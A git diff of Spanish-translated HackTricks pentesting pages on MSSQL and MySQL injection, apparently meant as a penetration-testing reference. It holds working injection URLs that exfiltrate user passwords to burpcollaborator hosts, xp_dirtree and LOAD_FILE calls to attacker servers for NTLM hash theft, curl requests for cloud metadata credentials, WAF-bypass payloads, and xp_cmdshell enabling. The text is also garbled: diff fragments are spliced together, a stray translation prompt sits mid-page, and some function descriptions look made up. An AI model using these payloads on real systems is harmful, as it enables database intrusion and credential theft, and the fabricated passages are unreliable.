### `fn_get_audit_file`
|
||||
|
||||
La función `fn_get_audit_file` es una función en Microsoft SQL Server que se utiliza para obtener información de auditoría de archivos. Esta función se utiliza comúnmente en aplicaciones web para recuperar registros de auditoría almacenados en la base de datos.
|
||||
|
||||
La función acepta parámetros como el nombre del archivo, la ruta del archivo y el tipo de archivo. Estos parámetros se utilizan para filtrar los resultados y obtener la información específica del archivo de auditoría deseado.
|
||||
|
||||
Es importante tener en cuenta que, al utilizar esta función, es necesario asegurarse de que los parámetros proporcionados estén correctamente validados y escapados para evitar posibles ataques de inyección SQL. La inyección SQL es una técnica común utilizada por los hackers para manipular consultas SQL y obtener acceso no autorizado a la base de datos.
|
||||
|
||||
Para protegerse contra la inyección SQL al utilizar la función `fn_get_audit_file`, se recomienda utilizar consultas parametrizadas o funciones de escape de SQL proporcionadas por el lenguaje de programación utilizado en la aplicación web. Esto ayudará a prevenir la ejecución de código malicioso y garantizar la seguridad de la aplicación.
|
||||
```
|
||||
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
||||
```
|
||||
|
@ -120,13 +77,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
|
|||
Use master;
|
||||
EXEC sp_helprotect 'fn_get_audit_file';
|
||||
```
|
||||
### `fn_trace_gettabe`
|
||||
|
||||
La función `fn_trace_gettabe` es una función interna de Microsoft SQL Server que se utiliza para obtener información de seguimiento de eventos de traza. Esta función se utiliza comúnmente en el contexto de la inyección de SQL para obtener información confidencial de la base de datos.
|
||||
|
||||
La función `fn_trace_gettabe` acepta dos parámetros: `@traceid` y `@options`. El parámetro `@traceid` especifica el identificador de la traza de eventos de seguimiento, mientras que el parámetro `@options` especifica las opciones de filtrado para los eventos de traza.
|
||||
|
||||
Es importante tener en cuenta que el uso de la función `fn_trace_gettabe` en una inyección de SQL puede ser peligroso, ya que puede revelar información confidencial o permitir la ejecución de comandos maliciosos en la base de datos. Por lo tanto, es fundamental tomar precauciones adecuadas al utilizar esta función y asegurarse de que se implementen medidas de seguridad adecuadas para proteger la base de datos contra ataques de inyección de SQL.
|
||||
### `fn_trace_gettable`
|
||||
```
|
||||
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
||||
```
|
||||
|
@ -142,35 +93,35 @@ EXEC sp_helprotect 'fn_trace_gettabe';
|
|||
```
|
||||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||||
|
||||
El método más común para realizar una llamada de red que te encontrarás al usar MSSQL es el uso del Procedimiento Almacenado `xp_dirtree`, que curiosamente no está documentado por Microsoft, lo que ha llevado a que sea [documentado por otras personas en Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Este método se ha utilizado en [múltiples ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de publicaciones de [Exfiltración de Datos Fuera de Banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) en Internet.
|
||||
El método más común para realizar una llamada de red que encontrará utilizando MSSQL es el uso del Procedimiento Almacenado `xp_dirtree`, que curiosamente no está documentado por Microsoft, lo que provocó que fuera [documentado por otras personas en Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Este método se ha utilizado en [múltiples ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de publicaciones sobre [Exfiltración de Datos Fuera de Banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) en Internet.
|
||||
|
||||
Básicamente,
|
||||
Esencialmente,
|
||||
```sql
|
||||
DECLARE @user varchar(100);
|
||||
SELECT @user = (SELECT user);
|
||||
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
|
||||
```
|
||||
Al igual que `LOAD_FILE` de MySQL, puedes usar `xp_dirtree` para hacer una solicitud de red solo al puerto TCP 445. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.
|
||||
Al igual que `LOAD_FILE` de MySQL, puedes usar `xp_dirtree` para hacer una solicitud de red **solo al puerto TCP 445**. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.
|
||||
|
||||
**PD:** Esto no funciona en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` que se ejecuta en un `Windows Server 2016 Datacenter` en la configuración predeterminada.
|
||||
**PS:** Esto no funciona en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` ejecutándose en un `Windows Server 2016 Datacenter` en la configuración predeterminada.
|
||||
|
||||
Existen **otros** procedimientos almacenados como [**`master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) o **`xp_subdirs`** que se pueden utilizar para obtener resultados similares.
|
||||
Hay **otros** procedimientos almacenados \*\*\*\* [**como `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) o **`xp_subdirs`** que se pueden usar para obtener resultados similares.
|
||||
|
||||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||||
|
||||
Obviamente, también puedes usar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para obtener más información, **lee la sección relevante** en la página:
|
||||
Obviamente, también podrías usar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para más información **lee la sección relevante** en la página:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Función definida por el usuario de MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### MSSQL Función Definida por el Usuario - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Es bastante sencillo escribir una **UDF CLR** (Función definida por el usuario de tiempo de ejecución común - código escrito con cualquiera de los lenguajes **.NET** y compilado en un **DLL**) y **cargarlo dentro de MSSQL para funciones personalizadas**. Sin embargo, esto **requiere acceso `dbo`** por lo que puede que no funcione a menos que la conexión de la aplicación web a la base de datos sea **como `sa` o con un rol de administrador**.
|
||||
Es bastante sencillo escribir una **CLR UDF** (Función Definida por el Usuario del Common Language Runtime - código escrito con cualquiera de los lenguajes **.NET** y compilado en un **DLL**) y **cargarla dentro de MSSQL para funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que puede no funcionar a menos que la conexión de la aplicación web a la base de datos **sea como `sa` o con un rol de Administrador**.
|
||||
|
||||
[Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación](https://github.com/infiniteloopltd/SQLHttp) para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes GET HTTP desde MSSQL.
|
||||
[Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación](https://github.com/infiniteloopltd/SQLHttp) para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes HTTP GET desde dentro de MSSQL.
|
||||
|
||||
[El código `http.cs` utiliza la clase `WebClient` para hacer una solicitud GET y obtener el contenido](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) según se especifica.
|
||||
El código `http.cs` utiliza la clase `WebClient` para realizar una solicitud GET y obtener el contenido como se especifica
|
||||
```csharp
|
||||
using System.Data.SqlTypes;
|
||||
using System.Net;
|
||||
|
@ -186,29 +137,27 @@ return new SqlString (html);
|
|||
}
|
||||
}
|
||||
```
|
||||
En las instrucciones de instalación, ejecuta lo siguiente antes de la consulta `CREATE ASSEMBLY` para agregar el hash SHA512 de la assembly a la lista de assemblies confiables en el servidor (puedes ver la lista usando `select * from sys.trusted_assemblies;`)
|
||||
En las instrucciones de instalación, ejecute lo siguiente antes de la consulta `CREATE ASSEMBLY` para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables en el servidor (puede ver la lista utilizando `select * from sys.trusted_assemblies;`)
|
||||
```sql
|
||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||
```
|
||||
Una vez que se haya agregado el ensamblado y creado la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP.
|
||||
Una vez agregada la asamblea y creada la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP
|
||||
```sql
|
||||
DECLARE @url varchar(max);
|
||||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||||
SELECT dbo.http(@url);
|
||||
```
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)
|
||||
## **Explotación rápida: Recuperar una tabla completa en una consulta**
|
||||
|
||||
## **Explotación rápida: Obtener una tabla completa en una sola consulta**
|
||||
Existen dos maneras sencillas de recuperar el contenido completo de una tabla en una consulta — el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como «raw», por lo que en términos de brevedad FOR JSON la supera.
|
||||
|
||||
Existen dos formas sencillas de obtener el contenido completo de una tabla en una sola consulta: el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como "raw", por lo que en términos de brevedad FOR JSON es más eficiente.
|
||||
|
||||
La consulta para obtener el esquema, las tablas y las columnas de la base de datos actual:
|
||||
La consulta para recuperar el esquema, las tablas y las columnas de la base de datos actual:
|
||||
```
|
||||
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
|
||||
|
||||
Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de las expresiones sin ninguno de ellos no se puede formatear como JSON.
|
||||
Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de expresiones sin ninguno de los dos no puede formatearse como JSON.
|
||||
```
|
||||
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
||||
```
|
||||
|
@ -216,24 +165,24 @@ https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_n
|
|||
|
||||
## **Recuperando la consulta actual**
|
||||
|
||||
La consulta SQL actual que se está ejecutando se puede recuperar desde el acceso `sys.dm_exec_requests` y `sys.dm_exec_sql_text`:
|
||||
La consulta SQL actual que se está ejecutando se puede recuperar accediendo a `sys.dm_exec_requests` y `sys.dm_exec_sql_text`:
|
||||
```
|
||||
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||||
```
|
||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
|
||||
|
||||
**Permisos:** Si el usuario tiene permisos de VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.
|
||||
**Permisos:** Si el usuario tiene permiso VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||||
```
|
||||
## **Pequeños trucos para evadir WAF**
|
||||
## **Pequeños trucos para eludir WAF**
|
||||
|
||||
Caracteres de espacio en blanco no estándar: %C2%85 o %C2%A0:
|
||||
Caracteres de espacio en blanco no estándar: %C2%85 или %C2%A0:
|
||||
```
|
||||
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
||||
```
|
||||
Notación científica (0e) y notación hexadecimal (0x) para ofuscar UNION:
|
||||
Notación científica (0e) y hexadecimal (0x) para ofuscar UNION:
|
||||
```
|
||||
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
||||
|
||||
|
@ -243,17 +192,17 @@ Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:
|
|||
```
|
||||
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
||||
```
|
||||
\N separador entre SELECT y una columna desechable:
|
||||
Separador \N entre SELECT y una columna de relleno:
|
||||
```
|
||||
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
||||
```
|
||||
### Bypass de WAF con consultas apiladas no convencionales
|
||||
### Evasión de WAF con consultas apiladas no ortodoxas
|
||||
|
||||
Según [**esta publicación de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) es posible apilar consultas en MSSQL sin usar ";":
|
||||
Según [**este artículo de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) es posible apilar consultas en MSSQL sin usar ";":
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Entonces, por ejemplo, múltiples consultas como:
|
||||
Entonces, por ejemplo, múltiples consultas tales como:
|
||||
```sql
|
||||
use [tempdb]
|
||||
create table [test] ([id] int)
|
||||
|
@ -261,11 +210,11 @@ insert [test] values(1)
|
|||
select [id] from [test]
|
||||
drop table[test]
|
||||
```
|
||||
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/sql-injection/mssql-injection.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
Puede reducirse a:
|
||||
```sql
|
||||
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||||
```
|
||||
Por lo tanto, podría ser posible evadir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:
|
||||
Por lo tanto, podría ser posible eludir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:
|
||||
```
|
||||
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
|
||||
admina'union select 1,'admin','testtest123'exec('select 1')--
|
||||
|
@ -293,12 +242,14 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,83 +2,81 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### LOAD\_FILE/LOAD DATA/LOAD XML a SSRF
|
||||
|
||||
Cada artículo de exfiltración de datos SQL Out of Band utilizará la función de cadena `LOAD_FILE()` para realizar una solicitud de red. La función en sí tiene sus propias limitaciones basadas en el sistema operativo en el que se ejecuta y en la configuración con la que se inició la base de datos.
|
||||
Cada artículo de exfiltración de datos Out of Band en SQL utilizará la función de cadena `LOAD_FILE()` para realizar una solicitud de red. La función tiene sus propias limitaciones basadas en el sistema operativo en el que se ejecuta y la configuración con la que se inició la base de datos.
|
||||
|
||||
Por ejemplo, si la variable global `secure_file_priv` no se estableció, el [valor predeterminado se establece en `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), lo que significa que solo se pueden usar funciones como `LOAD_FILE('nombre_archivo')` o `LOAD DATA [LOCAL] INFILE 'nombre_archivo' INTO TABLE nombre_tabla` para leer archivos del directorio `/var/lib/mysql-files/`. Para poder realizar lecturas en archivos fuera de este directorio, la opción `secure_file_priv` debe establecerse en `""`, lo cual solo se puede hacer actualizando el archivo de configuración de la base de datos o pasando el parámetro de inicio `--secure_file_priv=""` al servicio de la base de datos.
|
||||
Por ejemplo, si la variable global `secure_file_priv` no está establecida, el [valor predeterminado se establece en `/var/lib/mysql-files/`](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html), lo que significa que solo puedes usar funciones como `LOAD_FILE('nombrearchivo')` o `LOAD DATA [LOCAL] INFILE 'nombrearchivo' INTO TABLE nombretabla` para leer archivos del directorio `/var/lib/mysql-files/`. Para poder realizar lecturas de archivos fuera de este directorio, la opción `secure_file_priv` debe establecerse en `""`, lo cual solo se puede hacer actualizando el archivo de configuración de la base de datos o pasando el parámetro de inicio `--secure_file_priv=""` al servicio de la base de datos.
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/2.png)
|
||||
Sin embargo, en circunstancias donde `secure_file_priv` está establecido en `""`, deberíamos poder leer otros archivos en el sistema, asumiendo permisos de lectura de archivos y `file_priv` está establecido en `Y` en `mysql.user` para el usuario de la base de datos actual. No obstante, la capacidad de usar estas funciones para realizar llamadas de red es muy dependiente del sistema operativo. Como estas funciones están construidas solo para leer archivos, las únicas llamadas de red relevantes que se pueden hacer son a rutas UNC en hosts de Windows ya que la [API de Windows `CreateFileA` que se llama al acceder a un archivo entiende las convenciones de nomenclatura UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
|
||||
|
||||
Sin embargo, en circunstancias en las que `secure_file_priv` se establece en `""`, deberíamos poder leer otros archivos en el sistema, asumiendo que se tienen permisos de lectura de archivos y `file_priv` se establece en `Y` en `mysql.user` para el usuario de la base de datos actual. Sin embargo, poder usar estas funciones para realizar llamadas de red depende mucho del sistema operativo. Como estas funciones están diseñadas solo para leer archivos, las únicas llamadas relevantes para la red que se pueden realizar son a rutas UNC en hosts de Windows, ya que [la API de Windows `CreateFileA` que se llama al acceder a un archivo comprende las convenciones de nomenclatura UNC](https://docs.microsoft.com/en-gb/windows/win32/fileio/naming-a-file).
|
||||
Entonces, si tu base de datos objetivo se ejecuta en una máquina Windows, la consulta de inyección `x'; SELECT LOAD_FILE('\\\\servidoratacante.ejemplo.com\\a.txt'); -- //` [resultaría en la máquina Windows enviando hashes NTLMv2 en un intento de autenticarse con el servidor controlado por el atacante `\\servidoratacante.ejemplo.com`](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html).
|
||||
|
||||
Entonces, si la base de datos objetivo se está ejecutando en una máquina Windows, la consulta de inyección `x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` [resultaría en que la máquina Windows envíe hashes NTLMv2 en un intento de autenticarse con el `\\attackerserver.example.com` controlado por el atacante](https://packetstormsecurity.com/files/140832/MySQL-OOB-Hacking.html).
|
||||
Este Forjado de Solicitudes del Lado del Servidor (SSRF), aunque útil, está restringido solo al puerto TCP 445. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos configurados con permisos de lectura completos. Además, como se ha demostrado con investigaciones anteriores, puedes usar esta capacidad limitada de SSRF para robar hashes y retransmitirlos para obtener shells, por lo que definitivamente es útil.
|
||||
|
||||
Esta técnica de falsificación de solicitud del lado del servidor (SSRF), aunque útil, está restringida solo al puerto TCP 445. No se puede controlar el número de puerto, pero se puede leer información de recursos compartidos configurados con privilegios de lectura completos. Además, como se ha demostrado en investigaciones anteriores, se puede utilizar esta capacidad limitada de SSRF para robar hashes y transmitirlos para obtener shells, por lo que definitivamente es útil.
|
||||
### Funciones Definidas por el Usuario para RCE
|
||||
|
||||
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/3.png)
|
||||
Otra técnica interesante con bases de datos MySQL es la capacidad de usar Funciones Definidas por el Usuario (UDF) presentes en archivos de bibliotecas externas que, si están presentes en ubicaciones específicas o en el $PATH del sistema, entonces se pueden acceder desde dentro de MySQL.
|
||||
|
||||
### Funciones definidas por el usuario para RCE
|
||||
Podrías usar una Inyección SQL para **escribir una biblioteca (`.so` o `.dll`** dependiendo de Linux o Windows), que contenga una Función Definida por el Usuario que pueda realizar solicitudes de red/HTTP, que luego se puede invocar a través de consultas adicionales.
|
||||
|
||||
Otra técnica interesante con bases de datos MySQL es la capacidad de utilizar Funciones Definidas por el Usuario (UDF, por sus siglas en inglés) presentes en archivos de bibliotecas externas que, si están presentes en ubicaciones específicas o en la variable $PATH del sistema, se pueden acceder desde MySQL.
|
||||
Esto tiene su propio conjunto de restricciones. Basado en la versión de MySQL, que puedes identificar con `select @@version`, el directorio de donde se pueden cargar los complementos está restringido. MySQL por debajo de `v5.0.67` permitía que los archivos de biblioteca se cargaran desde la ruta del sistema si la variable `plugin_dir` no estaba establecida. Esto ha cambiado ahora y las versiones más recientes tienen la variable **`plugin_dir`** establecida en algo como `/usr/lib/mysql/plugin/`, que generalmente es propiedad de root.
|
||||
|
||||
Podrías usar una inyección SQL para **escribir una biblioteca (`.so` o `.dll`** dependiendo de Linux o Windows), que contenga una Función Definida por el Usuario que pueda realizar solicitudes de red/HTTP, y que luego se pueda invocar a través de consultas adicionales.
|
||||
Básicamente **para que puedas cargar una biblioteca personalizada en MySQL y llamar a una función de la biblioteca cargada a través de Inyección SQL, necesitarías**:
|
||||
|
||||
Sin embargo, esto tiene sus propias restricciones. Según la versión de MySQL, que se puede identificar con `select @@version`, el directorio desde el cual se pueden cargar los complementos está restringido. MySQL anterior a `v5.0.67` permitía cargar archivos de biblioteca desde la ruta del sistema si la variable `plugin_dir` no estaba configurada. Esto ha cambiado y las versiones más recientes tienen la variable **`plugin_dir`** configurada en algo como `/usr/lib/mysql/plugin/`, que generalmente es propiedad de root.
|
||||
* capacidad para **escribir en la ubicación** especificada en **`@@plugin_dir`** a través de Inyección SQL
|
||||
* **`file_priv`** establecido en **`Y`** en `mysql.user` para el usuario actual de la base de datos
|
||||
* **`secure_file_priv`** establecido en **`""`** para que puedas leer los bytes crudos de la biblioteca desde una ubicación arbitraria como la red o un directorio de subidas de archivos en una aplicación web.
|
||||
|
||||
Básicamente, **para cargar una biblioteca personalizada en MySQL y llamar a una función de la biblioteca cargada a través de una inyección SQL, necesitarías**:
|
||||
|
||||
* la capacidad de **escribir en la ubicación** especificada en **`@@plugin_dir`** a través de una inyección SQL
|
||||
* **`file_priv`** establecido en **`Y`** en `mysql.user` para el usuario de la base de datos actual
|
||||
* **`secure_file_priv`** establecido en **`""`** para poder leer los bytes sin procesar de la biblioteca desde una ubicación arbitraria como la red o un directorio de carga de archivos en una aplicación web.
|
||||
|
||||
Suponiendo que se cumplan las condiciones anteriores, puedes usar el **enfoque clásico de transferir la** [**popular biblioteca UDF de MySQL `lib_mysqludf_sys`**](https://github.com/mysqludf/lib\_mysqludf\_sys) **al servidor de la base de datos**. Luego podrías realizar solicitudes de comandos del sistema operativo como `cURL` o `powershell wget` para realizar SSRF utilizando la sintaxis
|
||||
Asumiendo que se cumplen las condiciones anteriores, puedes usar el **enfoque clásico de transferir la** [**popular biblioteca UDF de MySQL `lib_mysqludf_sys`**](https://github.com/mysqludf/lib_mysqludf_sys) **al servidor de la base de datos**. Luego podrías hacer solicitudes de comandos del sistema operativo como `cURL` o `powershell wget` para realizar SSRF usando la sintaxis
|
||||
|
||||
`x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //`
|
||||
|
||||
Hay muchas otras funciones declaradas en esta biblioteca, cuyo análisis se puede ver [aquí](https://osandamalith.com/2018/02/11/mysql-udf-exploitation/). Si eres como yo y eres perezoso, puedes obtener una copia de esta biblioteca UDF, para el sistema operativo objetivo, desde una instalación de Metasploit en el directorio `/usr/share/metasploit-framework/data/exploits/mysql/` y comenzar a usarla.
|
||||
